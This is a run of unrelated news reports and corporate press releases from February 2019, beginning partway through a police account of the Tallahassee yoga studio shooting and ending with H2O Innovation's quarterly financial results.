Once inside, he paid to attend the 5:30 p.m. class and paced outside while waiting for the class to begin. Five minutes later, he went back in and received instruction from the instructor.

Beierle then retrieved the hearing protection he bought, put it on and pulled out a handgun from his bag. He then shot the two victims who didn't survive from behind, "never giving them the opportunity to confront their attacker or flee."

As he continued to shoot at the other people inside the studio, one of the victims hit Beierle with a vaccum cleaner and struggled with him. During the struggle, the weapon malfunctioned, giving several people the chance to escape.

"One of the injured victims pretended to be dead and laid on the floor during the struggle," DeLeo said. "After the shooting stopped, the victim heard Beierle make an unintelligible statement, a pause, and then heard a single gunshot. The victim looked up and saw Beierle lying on top of one of the deceased victims."

At that time, first responders began to arrive on scene.

DeLeo says that the department's investigation revealed "substantial evidence" that Beierle had been planning the shooting for months.

"As tragic and horrific as the event was, [Beierle] had almost 100 rounds of ammunition with him," DeLeo stated. "And I know it sounds difficult to say, but this could've been even worse than what it was."

They don't believe he targeted anyone specific during the shooting, though they said he spoke to a woman in 2013 via Facebook Messenger who told him she attended yoga classes in Tallahassee.

Theres nothing that specifically drove him in any of the evidence weve gone through," DeLeo said.

While DeLeo says Beierle's journal had "threatening and derogatory" references to the woman, police have not determined whether he knew she specifically attended Hot Yoga Tallahassee.

Based on Beierle's writings, DeLeo said he "expressed hatred toward women in general," with rape, torture, murder being reoccurring themes in his writing.

Police say the investigation revealed that Beierle had sought mental health counseling on several occasions and suffered "severe financial stress" since he couldn't maintain employment.

"Based on the investigative work, Scott Beierle was a disturbed individual who harbored hatred toward women," DeLeo stated. "Though there was no specific target at the yoga studio on the night of Nov. 2, Scott Beierle's lifetime of misogynistic attitudes caused him to attack a familiar community where he had been arrested several times for his previous violent actions toward women."

DeLeo says that had Beierle been taken in alive, he would be facing two counts of murder and five counts of attempted murder.TALLAHASSEE, Fla. (WTXL) - The Salvation Army is launching a new program aimed at helping families in our community break free from intergenerational poverty.

WTXL ABC 27's Jada Williams was live Wednesday morning from the Salvation Army and has more details on how they're helping families achieve success.

Their motto is doing the most good and with the new Pathway of Hope Initiative. The Salvation Army is continuing its commitment to touch the lives of many in the community.

The purpose of the initiative is to help families with children in the community with finances and education all in order to end poverty.

The initiative began in Chicago in 2011 before going nationwide.

The Salvation Army plans to help transforms the lives of 100,000 families across the United States by 2030 through this innovative initiative.

Amber Meo is director of the Salvation Army of Tallahassee.

"A portion of the Salvation Army's mission statement states that we will meet human needs in his name without discrimination," Meo said. "So really this is us taking a look at the greater issues within our society that keep a family within the cycle of poverty and meeting those needs so that we can break the cycle that's within their family."

The Salvation Army is searching for volunteers who work in social services or other avenues that could help the families. Just visit the administrative office on Allen street to get involved.

And for any family looking for help, you must have a child under the age of 18 and be living below the poverty line. Youre encouraged to drop by right here as well for assistance.TITUSVILLE, Fla.  Gov Ron DeSantis tackled the issue of school security on Wednesday during a news conference in Central Florida

The Governor spoke at the Deputy Barbara A. Pill Law Enforcement Facility in Titusville, where he issued an executive order, calling on the Florida Department of Education to investigate the state's PROMISE Program, a mentoring program for students who commit non-violent misdemeanors.

The goal of the PROMISE Program is to keep students out of the criminal justice system.

The Governor ordered the investigation, in part, because accused Parkland school shooter Nikolas Cruz was referred to the program in 2013, but didn't fully participate.

Also on Wednesday, the Governor said he's allowing Sheriff's Offices throughout Florida to access $150 million in funding for the Guardian Program, which allows trained staff members who are not teachers carry a gun on school campuses.

Later on Wednesday, the Governor is scheduled to hold a news conference at the Broward County Courthouse.

Copyright 2019 Scripps Media, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.GADSDEN COUNTY, Fla. (WTXL) - It's been nearly four months since Hurricane Michael made landfall on Florida's Panhandle, and Gadsden County is still recovering and trying to pick up the pieces.

That's why a group of faith based leaders and the Gadsden County Sheriff's Office is organizing a group to meet the needs of the community.

This entire group is for the benefit of those living within the county, specifically those not only impacting by Hurricane Michael but those impacted by future natural disasters as well.

The group of volunteers will take recovery efforts head on by cleaning up debris, gathering supplies, and offer support to those who need it.

Organizers say even months removed from the hurricane, there is still a lot of work to be done.

If you missed Tuesday's meeting and you are interested in joining the team, you can contact the Gadsden County Sheriff's Office.TALLAHASSEE, Fla. (WTXL) - Democratic lawmakers announced their new Gun Violence Prevention Agenda in Tallahassee on Tuesday.

They held a press conference with shooting survivors, advocacy groups, and the Coalition to Prevent Gun Violence.

Lawmakers say this is an initiative to require more background checks for gun purchases.

They say states that require more background checks have less gun violence deaths and suicides.

"It's about creating a Florida, where no school, no nightclub, no movie theatre, no airport, and no neighborhood feels like a deathtrap anymore," said Brandon Wolf, Pulse survivor.

Lawmakers also talked about bills that deal with concealed weapons around schools and other places where children are.

And they talked about where and how guns are stored. Lawmakers say easy access to guns is contributing to gun violence and deaths as well as accidental injuries.

This all comes just two days before the anniversary of the Parkland Massacre, where a single gunman killed 17 people at Marjory Stoneman Douglas High School on Valentine's Day.BAAR, Switzerland, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Ascom (SWX:ASCN.SW), a leading provider of ICT and mobile workflow solutions for healthcare and enterprise, has announced the introduction of the Ascom Myco 3 smartphone. Part of the Ascom Healthcare Platform, the Ascom Myco 3 smartphone works with software, apps and integrated devices to optimize digital mobile workflows. The Ascom Myco 3 is being unveiled and demonstrated at HiMSS19, the global conference and exhibition of the Healthcare Information and Management Systems Society, held February 11-15 in Orlando, Florida.



This launch marks a significant expansion of our mobility solutions offering, says Ascom CEO Holger Cordes. It also underlines our strategic commitment to digital mobile workflow optimization and deep integration in healthcare and other sectors. The new Ascom Myco 3 smartphone is an Android device supported by orchestration software that enables interoperability with Electronic Health Record (EHR) solutions and a wide range of alert, task and alarm management systems. The smartphone works with apps and software to transform fragmented data into actionable informationthen puts it in the hands of highly mobile staff to help improve efficiency and patient/customer satisfaction. In short, adds Cordes, the Ascom Myco 3 represents a major step forward in our mission to bridge digital communication and coordination gaps in mobile healthcare and enterprise workflows.

The Ascom Myco 3 is a 5 full HD smartphone that supports workflows in healthcare and other enterprise settings. Google certified, the phone provides easy access to the worlds largest app library. The Ascom Myco 3 also features a true hot swappable battery that can be changed without powering down the device or exiting apps. Our customers, comments Cordes, need a smartphone that combines the ease-of-use of the familiar Android OS with enterprise-grade security and reliabilityand that integrates smoothly with healthcare and enterprise apps and systems such as EHRs.

Following its initial unveiling at HiMSS19, the new smartphone will be rolled out at a series of events worldwide during the first half of 2019. The Ascom Myco 3 is already generating excitement and interest, says Cordes. Were thrilled to be presenting and demonstrating it during the next few monthsshowing how it works with other elements from our platform solutions to positively impact workflows and productivity for the customers we support in healthcare, industry, retail, hospitality and other sectors.

Google and Android are trademarks of Google LLC.

Ascom is a global solutions provider focused on healthcare ICT and mobile workflow solutions. The vision of Ascom is to close digital information gaps allowing for the best possible decisions  anytime and anywhere. Ascoms mission is to provide mission-critical, real-time solutions for highly mobile, ad hoc, and time-sensitive environments. Ascom uses its unique product and solutions portfolio and software architecture capabilities to devise integration and mobilization solutions that provide truly smooth, complete, and efficient workflows for healthcare as well as for industry and retail sectors.

Ascom is headquartered in Baar (Switzerland), has operating businesses in 18 countries and employs around 1,300 people worldwide. Ascom registered shares (ASCN) are listed on the SIX Swiss Exchange in Zurich.EASTPOINT, Fla. (WTXL) - Residents are concerned after several gruesome looking fish turned up near St. George Island.

A resident sent WTXL pictures of some of the fish they caught Sunday morning.

According to fisherman Brandon Graham, nearly every fish he saw in the area appeared to have these fleshy sores on their bodies. They say the fish in the picture were caught in Eastpoint near St. George Island.

He says that he began noticing small wounds on brim about a month ago, but recently began to see larger wounds and dead fish floating on the water. Now, Graham says there's been significantly less fish in the area.

The residents say that they have reached out and reported their findings to NOAA and the Florida Fish and Wildlife Conservation Commission.

WTXL reached out to FWC to confirm whether they are investigating.

"Our fisheries biologists have contacted the angler about obtaining a sample for analysis and have not heard back yet," an FWC spokesperson told WTXL.

This is a developing story. Stay with us for details.What has the Prime Minister got against towns in North Wales?  Local MP asks PM May about tax office closure

This article is old - Published: Wednesday, Feb 13th, 2019

Wrexhams MP Ian Lucas raised the question of the Wrexham tax office closure at Prime Ministers Questions today, highlighting what he says is a lack of commitment by the UK Government to towns in North Wales.

About 270 staff are currently employed by HM Revenue & Customs (HMRC) in an office on Wrexham Technology Park, and it is claimed the closure move will effectively force staff to relocate or lose their jobs.

The office has been threatened with closure since 2015, when HMRC announced plans to centralise operations into 13 hubs in the UKs biggest cities. We are told back in 2015 around 400 skilled roles were in place, however since the announcement the total employed has been whittled down.

Despite the efforts of unions and Mr Lucas, HMRC confirmed last week that the Wrexham office will close at the end of September 2020. Staff are being offered the chance to move to hubs in Liverpool or Cardiff, or a smaller specialist site in Telford which is being kept open.





Speaking at PMQs, Mr Lucas said: What has the Prime Minister got against towns in North Wales? In the week following the loss of a 20bn Hitachi contract in the region (for the Wylfa nuclear power station project), the government she leads announced the moving of hundreds of Wrexham tax office jobs to Liverpool or Cardiff city centre.

Is it her view that towns across the UK should not have public sector jobs?

Theresa May made no reference to the tax office closure in her reply, focusing on the Wylfa nuclear power station site. PM May said: No it is not. On Hitachi and the Wylfa site, we offered a package of support that no previous Government had been willing to consider of one third equity, all-debt financing and a strike price of no more than 75 per MWh.

Ultimately, we could not at that stage reach an agreement among all the parties, and Hitachi decided on a commercial basis to suspend the project, but it has made clear that it wishes to continue discussions with the Government on bringing forward new nuclear at Wylfa, and we will support those discussions.

Speaking outside the Chamber, Mr Lucas described the governments decision was one of the worst he has seen in 18 years as an MP.

He added: HMRCs shifting of tax offices away from local towns into larger city centres flies in the face of balanced, sensible government and is a body blow to towns suffering from empty high streets, reduced bus services and evidence of young people moving away to city centres to seek work.

The Prime Minister needs to think about those people in towns right across the UK and change the ridiculous decision to shift jobs and services to city centres who need the investment less.

The PCS union has been critical of the plans, saying it would impact negatively on the service their workers could provide for the public. Staff from offices in Wrexham, Liverpool, Bootle and Warrington are due to move in to the Liverpool hub in the India Buildings by the end of June 2020.

However, it appears there may now be a need to keep one of the existing HMRC offices in Liverpool or Bootle open beyond 2020.

Gareth Edwards, a PCS union rep based at the Wrexham office, said: Although this announcement brings some clarity for the majority of our members in Wrexham who will be unable to move to Liverpool, it is disappointing that HMRC continues blindly with its estates transformation programme.

The fact that a second office is being retained in Liverpool while Wrexham is still earmarked for closure rubs further salt in the wounds for members.

PCS is opposed to the closure of Wrexham office and does not think that HMRCs work can be delivered from just 13 regional offices.

Mr Lucas has campaigned to keep the Wrexham office open, noting his previous meeting with shadow treasury minister Anneliese Dodds and PCS union reps to discuss the closure plans in Wrexham last August.

Below, the exchange in PMQs today:

Top pic: As we watched the exchange on Sky News.West Point, NE (68788)

Today

Scattered thunderstorms. A few storms may be severe. High 83F. Winds NNE at 5 to 10 mph. Chance of rain 50%..

Tonight

Mostly cloudy skies. A stray severe thunderstorm is possible. Low 66F. Winds NNE at 5 to 10 mph.Wu Xiaodong, a 79-year-old retired kindergarten principal, teaches an Oroqen language class in Heihe, Heilongjiang province, in December. [China Daily]

Every Saturday and Sunday morning for the past three months, Wu Xiaodong has waited for her students at the ethnic primary school in Xunke county, Heihe, in northeastern China's Heilongjiang province.

The retired kindergarten principal, whose name in the Oroqen language is Wucharkan Xiaodong, has been teaching the ethnic group's language to members of the public for free since late October. About 20 people, ranging in age from 3 to 60, attend each two-hour class.

"Despite efforts by both government and some individuals to protect the language, it is in danger of disappearing due to modernization," the 79-year-old said. "I only hope what I do can slow down the process.

"There are no limitations on the students who are interested in learning the ethnic language. My students include teachers, civil servants and housewives."

The sixth national population census of 2010 found there were 8,659 Oroqen people in China, mainly living in Heilongjiang and the Inner Mongolia autonomous region. About 3,900  45 percent of the total  were in Heilongjiang.

Unlike some other minority languages, the Oroqen language is only spoken and it has no written form.

That means Wu has to convert each word into pinyin or Chinese characters with similar pronunciation when writing on the blackboard in class.

It is a creative solution to the problem, but not an easy one to master.

Wu spent nearly six years finding Chinese characters or pinyin with same or similar pronunciations for about 5,000 Oroqen words, covering numbers, daily life and hunting.

"There are about 1,300 Oroqen people in Xunke, but I know very few of them can speak the Oroqen language," Wu said. "Most people younger than 60 do not speak the language anymore.

"Even though I can speak it fluently, I can't remember all the words due to my old age and lack of a language environment. To record some unfamiliar words, I have visited almost all the Oroqen seniors in the county."

She has been working to preserve the language since 2016, when she began giving irregular Oroqen lessons to pupils at the ethnic primary school.

"From that year, Heihe city began to organize an annual, province-level Oroqen language contest that aims to arouse the younger generation's interest in learning the language," Wu said. "Sometimes, before the contests or Oroqen festivals and performances, I would be invited to give the pupils some targeted lessons."

Similar international competitions are held in the neighboring Russian city of Blagoveshchensk.

"During these contests, I found that contestants from Xunke performed worse than those from other regions," she said. "The Oroqen people in Xunke moved out of the mountains earlier and had more opportunities to embrace modern culture, which hastened the extinction of ethnic culture in the county. Even though it means that we are more developed, I feel quite upset.

"The pupils I taught also told me that they are interested in our ethnic culture, but few of their parents could speak the Oroqen language to them. Furthermore, all the young parents hope their children can speak standard Mandarin and fluent English, to help them enter good universities and then find decent jobs."

She then had the idea of starting a class mainly for adults, hoping it would encourage young parents to pay attention to their own culture and provide their children with a better Oroqen language environment. During each class, she teaches her students 30 words, interspersed with instruction about traditional Oroqen culture, including clothing, singing, dancing and hunting.

"I have received great support from my family members," Wu said. "My son, who is a teacher at the ethnic primary school, helped me apply for the classroom and also gives students in the school lessons on the Oroqen language every week.

"My granddaughter keeps helping me collate my teaching materials on a computer, even though she cannot understand the Oroqen language spoken by the older generation. I often discuss the meaning of language inheritance with her. I am quite clear that despite the efforts, we are still facing the danger that the language of our people might fade into history, but I hope it can leave a mark."Forty years on, the bridge is solid

Civil Engineering Class of 1978  40 Year Reunion Dinner

The final year Wits Civil Engineering class of 1978 was one of the largest to graduate. Following on from a 30 year class reunion in 2008 at the Sunnyside Hotel, a regular watering hole back in the day, an organising committee coalesced miraculously in mid-2018 and set about putting together the 40 year version.

Group photo caption:

Front: Dave Spooner, Leon Furstenburg, Danny Martinho, Paul Carlisle, Colin Little, Chris Zweigenthal

Rear: Peter Legg, Patrick Jardine, Kevin Spence, Ian Weir, Gary Theodosiou, Ian Robertson, Mike Brett, Anthony Poorter, Dr Irvin Luker, Keith Small, George Jamieson, Prof Akpofure Taigbenu, Tony Purchase, Wally Mayne, Paul Hillen, John Drennan, Sandow Emmerich

The committee decided on a more formal reunion in the form of a dinner to which the Head of Civil and Environmental Engineering, Professor Akpofure Taigbenu, would be invited. Close scrutiny of the class photo and faculty members revealed that Dr. Irvin Luker, who had the misfortune to have to deal with the rowdy class of 1978, was still on the faculty and was duly invited. Both eagerly accepted.

The dinner was held at the Johannesburg Country Club on 17 November 2018, with 22 of the 67 graduates attending.

Classmates coming from as far afield as Hawaii and UK made it all the more special.

The formal proceedings began with Tony Purchase welcoming the class and guests of honour to the dinner. Mention was made of the great turmoil the country, and indeed Wits University, was experiencing in the mid-70s.

In reply, Prof. Taigbenu spoke with great enthusiasm of the faculty of 2018. He mentioned the increased class sizes after some lean years with over 1000 under- and post-grads, of which a third are female. He also noted the wider scope of civil engineering. In 1978 structures dominated the curriculum whereas today the scope has broadened to include more environmental and hydrology aspects. Dr. Luker remembered our era with great fondness and gave insight into the dynamics of todays classroom.

Wally Mayne, head of Contractual Affairs at CESA, gave a realistic and hard-hitting overview of the profession  and those who had stayed in the profession agreed that civil engineers need to stand up and be counted, and get paid what they are worth.

Kevin Spence, the Class Rep, then reminded the class how successful they had been in their many diverse careers and called back the past with memories of our graduation dinner at the Old Edwardians Club. In particular, the bail-out we got from the Dean in 1978, Prof. Geoff Blight, who had a small reserve fund to cater for damages.

In closing Paul Hillen paid tribute to class mates who had passed away and a toast was drunk to their memory; Zen Dama, Seth Nkosi and Ronnie Philpott were all well remembered. We also toasted those absent, and vowed to keep in touch.

A small profit was made on the event and it was unanimously agreed to donate the surplus to the Endowment Fund of the School.Not for distribution in the U.S. or to U.S. Newswires

VANCOUVER, British Columbia, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Blissco Cannabis Corp. (CSE: BLIS) (OTCQB: HSTRF) (FRA: GQ4B), (Blissco) or the (Company) is a Canadian wellness cannabis brand based in British Columbia and licensed processor, cultivator and distributor of premium dried cannabis and cannabis oil. Today, the company is pleased to announce that it has earned Depository Trust Company (DTC) eligibility, which means that Blissco stock is now more accessible to U.S. investors.

The DTC is the largest securities deposit in the world and it will facilitate electronic settlement of transfers of Blissco common shares in the United States. Securities that are eligible to be electronically cleared and settled through the DTC are considered "DTC eligible.

We are very excited to be DTC eligible; which opens up a tremendous opportunity for U.S. investors to participate in our growth, said Damian Kettlewell, Blissco CEO. Blissco is truly beginning to make its mark in domestic and international markets by expanding our global investor base.

This electronic method of clearing securities speeds up the receipt of stock and cash, and thus accelerates the settlement process for investors and brokers. Companies that are DTC eligible often experience higher trading volumes in their stock given the additional accessibility and availability of shares for trading.

About Blissco Cannabis Corp.



Blissco Cannabis Corp. (CSE: BLIS) (OTCQB: HSTRF) (FRA: GQ4B) is a Canadian wellness cannabis brand based in British Columbia and a multi-licensed processor, cultivator and distributor of premium cannabis.

Blissco owns and operates a state-of-the-art GPP facility located in Metro Vancouver, British Columbia with 18,000 square feet of extraction, cultivation and processing rooms. Blissco is supplying premium cannabis and small-batch Reserve whole flower and pre-rolls to the Canadian and global marketplace with a growing list of provincial cannabis boards and international distribution partners.English French

Key highlights



Sustained revenue growth of $3.6 M, or 13.8% over the same period of the previous fiscal year, reaching $29.4 M for the second quarter of fiscal year 2019;

Recurring revenues from Aftermarket, Specialty Products and Operation & Maintenance (O&M), representing 70.8% of total revenues;

Selling, operating and administrative expenses (SG&A) decrease to 16.7% for the second quarter of fiscal year 2019, from 18.8% for the same quarter of the previous fiscal year;

Consolidated backlog, combining Projects and O&M business pillars, stood at $147.7 M as of December 31, 2018, compared to $116.1 M for the period ended December 31, 2017;

Adjusted EBITDA 1 of $1.4 M, or 4.7% over revenues, during the second quarter of fiscal year 2019;

of $1.4 M, or 4.7% over revenues, during the second quarter of fiscal year 2019; Net loss decreased by $0.1 M to reach ($1.2 M) for the second quarter of fiscal year 2019, from a net loss of ($1.3 M) for the same quarter of the previous fiscal year;

Adjusted net loss2 stood at ($0.3 M) for the second quarter of this fiscal year, compared to an adjusted net loss of ($0.8 M) for the same quarter of the previous fiscal year.

All amounts in Canadian dollars unless otherwise stated.

QUEBEC CITY, Feb. 13, 2019 (GLOBE NEWSWIRE) -- (TSXV: HEO)  H 2 O Innovation Inc. (H 2 O Innovation or the Corporation) announces its results for the second quarter of fiscal year 2019 ended December 31, 2018. Revenues for the second quarter of fiscal year 2019 amounted to $29.4 M, representing a $3.6 M, or 13.8% increase, as compared with revenues of $25.8 M recorded for the second quarter of the previous fiscal year. This increase is partially fueled by the acquisition of Hays Utility South Corporation (Hays), as well as the organic growth from the Projects & Aftermarket and O&M business pillars. The Projects & Aftermarket business pillar is showing a revenue increase of $2.2 M, or 21.9%, while having a healthier backlog with better projects diversification. The Corporation will focus on improving its gross profit margin before depreciation and amortization in this business pillar prior to focusing on growing the volume of revenues. Therefore, to reach that goal, H 2 O Innovation is executing more industrial and wastewater projects previously secured in the backlog and is observing positive upside in the gross profit margins being recorded. Specialty Products business pillar is showing a momentary decrease of $1.6 M, or 21.4% of revenues, for the second quarter of fiscal year 2019 compared to the same quarter of the previous fiscal year. This decrease is partially explained by delays beyond Corporations control in delivering significant orders of couplings for recurring customers. Specialty Products business pillars revenue was also impacted by a general slowdown in the maple syrup industry due to adverse weather conditions during the last maple syrup season. As a result, maple syrup producers have experienced a challenging year resulting in a lower production, thus lowering the investments they can spend in new capital equipment purchase. As for PWT, our specialty chemicals product line, the Corporation increased its in-house manufacturing capacity of liquid cleaners. This manufacturing improvement, along with the addition of new distributors in strategic territories, enabled the increase of the Corporations gross profit margin before depreciation and amortization. Regarding Piedmonts operations, the bookings of new couplings and filter housings orders have reached a new high at the end of the second quarter, as explained in the press release of January 31, 2019. However, most of the revenues from these large orders have not been recognized in this current quarter. The O&M business pillar is showing a constant growth, with a revenue increase of $3.0 M, or 35.2%, during the second quarter of fiscal year 2019, compared to the same quarter of the previous fiscal year. This significant revenue growth is explained by a sustained organic growth mostly driven by scope of work increases on existing projects, and the acquisition of Hays, adding $1.5 M of revenues to this business pillar for the second quarter of fiscal year 2019.

We are already seeing upsides from the acquisition of Hays in Texas completed on December 1, 2018. Indeed, additional revenues are impacting positively this quarters results and cross-selling synergies have been targeted for the coming quarters. Our $147.7 M combined backlog is not only providing visibility on revenues but is an unbelievable source of additional sales synergies generated by our multiple product lines. With proper business mix, combining Projects & Aftermarket, Speciality Products and O&M, I am confident to see an improvement in our gross profit margin and thus our EBITDAs performance, stated Frederic Dugre, President and Chief Executive Officer of H 2 O Innovation.









(in thousands of Canadian dollars, except per share data) Three-month periods

ended December 31,

Six-month periods

ended December 31,

2018 2017 2018 2017 $ $ $ $ Revenues 29,378 25,819 53,749 48,437 Gross profit margin before depreciation and amortization 6,244 6,213 11,750 10,667 Gross profit margin before depreciation and amortization (%) 21.3 % 24.1 % 21.9 % 22.0 % Operating expenses 1,246 1,009 2,574 1,886 Selling expenses 1,990 2,218 3,637 3,856 Administrative expenses 1,671 1,625 3,072 3,112 Total SG&A 4,907 4,852 9,283 8,854 % SG&A over revenues 16.7 % 18.8 % 17.3 % 18.3 % Net loss (1,212 ) (1,341 ) (1,535 ) (2,431 ) Basic and diluted net loss per share (0.027 ) (0.033 ) (0.036 ) (0.061 ) Adjusted net loss (a) (343 ) (783 ) (14 ) (842 ) Basic and diluted adjusted net loss per share (0.008 ) (0.020 ) (0.000 ) (0.023 ) EBITDA (a) 910 1,227 2,005 1,349 Adjusted EBITDA(a) 1,377 1,358 2,643 1,946 Adjusted EBITDA over revenues (%) 4.7 % 5.3 % 4.9 % 4.0 %

Non-IFRS financial measurement reconciled below.

Revenues from Projects & Aftermarket stood at $11.9 M compared to $9.7 M in the corresponding period of the previous fiscal year, representing a 21.9% increase. The Corporation developed a more diversified backlog portfolio between water and wastewater projects, with 32.7% of the projects being in the field of wastewater as of December 31, 2018, compared to 34.0% as of December 31, 2017. Diversification is also seen between industrial and municipal projects, with 38.8% of the projects for industrial customers as of December 31, 2018, compared to 23.0% as of December 31, 2017. Both wastewater and industrial projects are characterized by better gross profit margins. The current Projects pipeline remains very rich in opportunities and, as of December 31, 2018, the backlog stood at $52.5 M, compared to $51.9 M for the comparable quarter of fiscal year 2018.

On the Specialty Products side, recurring revenues stood at $5.9 M, compared to $7.5 M in the comparable quarter of the previous fiscal year, representing a $1.6 M, or 21.4% decrease. The decrease in revenue for this business pillar is attributable to timing of significant orders related to Piedmont, which were delayed by the customers. It was also impacted by a general slowdown in the maple syrup industry, due to adverse weather conditions during the last maple season. Specialty Products business pillar expanded its products offering by adding new products and new distributors, broadening its existing offering and positioning the Corporation strategically in the market. The Corporation continues to improve its gross profit margin before depreciation and amortization by manufacturing some products in-house, while the manufacturing of these products was fully outsourced during the comparable quarter of the previous fiscal year.

The recurring revenues coming from O&M business pillar stood at $11.6 M for the second quarter of fiscal year 2019, compared to $8.6 M for the comparable period of fiscal year 2018, representing an increase of $3.0 M or 35.2%. Of this increase, $1.5 M is attributable to the acquisition of Hays and represents revenues for the one-month period following the acquisitions effective date. The growth of the O&M business pillar during this quarter is also explained by the renewal of projects and scope expansions, as well as annual consumer price index (CPI) adjustments. The backlog coming from O&M contracts stood at $95.2 M as at December 31, 2018, representing an increase of 48.3% compare to the $64.2 M backlog as at December 31, 2017, and consists of long-term contracts, mainly with municipalities, comprising multi-year renewal options.

In this second quarter of fiscal year 2019, the Corporation generated a 21.3% gross profit margin before depreciation and amortization compared to 24.1% for the second quarter of fiscal year 2018. The gross profit margin before depreciation and amortization was fairly stable at $6.2 M, while revenues increased by 13.8%. This decrease of gross profit margin before depreciation and amortization in % is explained by the business mix, with an increase of the sales coming from the O&M business pillar characterized by lower margins but steadier revenues and profits. Lower revenues coming from the Specialty Products business pillar also impacted negatively the gross profit margin before depreciation and amortization in % since this business pillar is characterized by a higher gross profit margin before depreciation and amortization.

The Corporations selling, operating and administrative expenses (SG&A) in dollar remained stable at $4.9 M this quarter and for the comparable quarter of the previous fiscal year. The SG&A over revenues in % decreased to 16.7%, compared to 18.8% for the second quarter of the previous fiscal year. This decrease is explained by a stable level of SG&A expenses, while revenues grew by 13.8% over the same period.

The Corporations adjusted EBITDA was stable at $1.4 M for the second quarter of fiscal year 2019 and for the comparable period of fiscal year 2018. The Corporations adjusted EBITDA over revenues decreased to 4.7% for the three-month period ended December 31, 2018, compared to 5.3% for the same quarter of last fiscal year. The decrease of the adjusted EBITDA in % is due to a decrease of the gross profit margin before depreciation and amortization, associated to a lower level of revenues having higher gross profit margins and coming mainly from the Specialty Products business pillar.

The net loss amounted to ($1.2 M), or ($0.027) per share, for the second quarter of fiscal year 2019 compared with a loss of ($1.3 M), or ($0.033) per share, for the comparable quarter of fiscal year 2018. The net loss of the comparable quarter of the previous fiscal year was significantly impacted by the Tax Cuts and Jobs Act, a tax legislation reducing the federal tax rate enacted by the U.S. government and leading to an additional deferred tax expense of $1.1 M for that quarter. Without the $1.1 M impact from the new U.S. tax legislation, net loss for the second quarter of fiscal year 2018 would have been ($0.2 M). This quarter, the net loss is mostly due to an increase of non-recurring costs associated with the acquisition of Hays and the related financing, amounting to $0.4 M and $0.3 M respectively. Furthermore, the decrease of the gross profit margin before depreciation and amortization also contributed to the net loss.

The definition of adjusted net earnings (loss) excludes of acquisition-related costs and integration costs. The reader can establish the link between net loss and adjusted net earnings (loss) with the following reconciliation items. The definition of adjusted net earnings (loss) used by the Corporation may differ from those used by other companies.

Three-month periods

ended December 31, Six-month periods

ended December 31, (in thousands of Canadian dollars) 2018 2017 2018 2017 $ $ $ $ Net loss (1,212 ) (1,341 ) (1,535 ) (2,431 ) Acquisition-related costs, integration costs and other costs USA (net of tax 23.71%) 307 - 333 - Net loss on bank fraud

Canada (net of tax 0%)3 - - - 363 Amortization of intangible assets from acquisition

Canada (net of tax 0%)3 39 39 79 79 Amortization of intangible assets from acquisition

USA (net of tax 23.71%) 448 413 951 821 Stock based compensation expenses

Canada (net of tax 0%)3 75 106 158 226 Adjusted net loss (343 ) (783 ) (14 ) (942 )

Operating activities generated $2.1 M in cash for the quarter ended December 31, 2018, compared to $0.6 M of cash generated during the same period of previous fiscal year. The cash flow increase generated by operating activities is a reflection of the change in the working capital items. This change is mostly due to the advancement of major projects, for which significant invoicing milestones have been reached during the quarter.

Reconciliation of net loss to adjusted EBITDA

Even though adjusted EBITDA is a non-IFRS measure, it is used by management to make operational and strategic decisions. Providing this information to the stakeholders, in addition to the GAAP measures, allows them to see the Corporations results through the eyes of the management, and to better understand the financial performance, notwithstanding the impact of GAAP measures.

Three-month periods

ended December 31,

Six-month periods

ended December 31,

2018 2017 2018 2017 $ $ $ $ Net loss for the period (1,212 ) (1,341 ) (1,535 ) (2,431 ) Finance costs  net 969 473 1,500 824 Income taxes 72 1,177 (19 ) 1,039 Depreciation of property, plant and equipment 288 243 567 550 Amortization of intangible assets 793 675 1,492 1,366 EBITDA 910 1,227 2,005 1,348 Unrealized exchange (gains) losses (11 ) 25 44 (73 ) Stock-based compensation costs 75 106 158 226 Net loss on bank fraud - - - 363 Acquisition-related costs, integration costs and other costs 403 - 436 81 Adjusted EBITDA 1,377 1,358 2,643 1,945

H 2 O Innovation Conference Call

Frederic Dugre, President and Chief Executive Officer and Marc Blanchet, Chief Financial Officer, will hold an investor conference call to discuss the financial results for 2019 second quarter in further details at 10:00 a.m. Eastern Time on Wednesday, February 13, 2019.

To access the call, please call 1 (877) 223-4471 or 1 (647) 788-4922, five to ten minutes prior to the start time. Presentation slides for the conference call will be made available on the Corporate Presentations page of the Investors section of the Corporations website.

The second quarter financial report is available on www.h2oinnovation.com. Additional information on the Corporation is also available on SEDAR (www.sedar.com).

Prospective disclosures

Certain statements set forth in this press release regarding the operations and the activities of H 2 O Innovation as well as other communications by the Corporation to the public that describe more generally management objectives, projections, estimates, expectations or forecasts may constitute forward-looking statements within the meaning of securities legislation. Forward-looking statements concern analysis and other information based on forecast future results and the estimate of amounts that cannot yet be determined. Forward-looking statements include the use of the words such as anticipate, if, believe, continue, could, estimate, expect, intend, may, plan, potential, predict, project, should or will and other similar terms as well as those usually used in the future and the conditional. Those forward-looking statements involve a number of risks and uncertainties, which may result in actual and future results of the Corporation to be materially different than those indicated. Information about the risk factors to which the Corporation is exposed is provided in the Annual Information Form dated September 25, 2018 available on SEDAR (www.sedar.com). Unless required to do so pursuant to applicable securities legislation, H 2 O Innovation assumes no obligation to update or revise forward-looking statements contained in this press release or in other communications as a result of new information, future events and other changes.

About H 2 O Innovation

H 2 O Innovation designs and provides state-of-the-art, custom-built and integrated water treatment solutions based on membrane filtration technology for municipal, industrial, energy and natural resources end-users. The Corporations activities rely on three pillars which are i) water and wastewater projects and services; ii) specialty products, which include a complete line of maple equipment and products, specialty chemicals, consumables and specialized products for the water treatment industry; and iii) operation and maintenance services for water and wastewater treatment systems and utilities. For more information, visit www.h2oinnovation.com.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) nor the Alternext Exchange accepts responsibility for the adequacy or accuracy of this release.

Source:

H 2 O Innovation Inc.

www.h2oinnovation.com



Contact:

Marc Blanchet

+1 418-688-0170

marc.blanchet@h2oinnovation.com

1 The definition of adjusted earnings before interest, taxes, depreciation and amortization (adjusted EBITDA) does not take into account the Corporations finance costs  net, stock-based compensation costs, net loss on bank fraud, unrealized exchange (gains) / losses and acquisition and integration costs. The reader can establish the link between adjusted EBITDA and net earnings. The definition of adjusted EBITDA used by the Corporation may differ from those used by other companies.

2 The definition of adjusted net earnings (loss) excludes acquisition-related costs and integration costs. The definition of adjusted net earnings (loss) used by the Corporation may differ from those used by other companies.

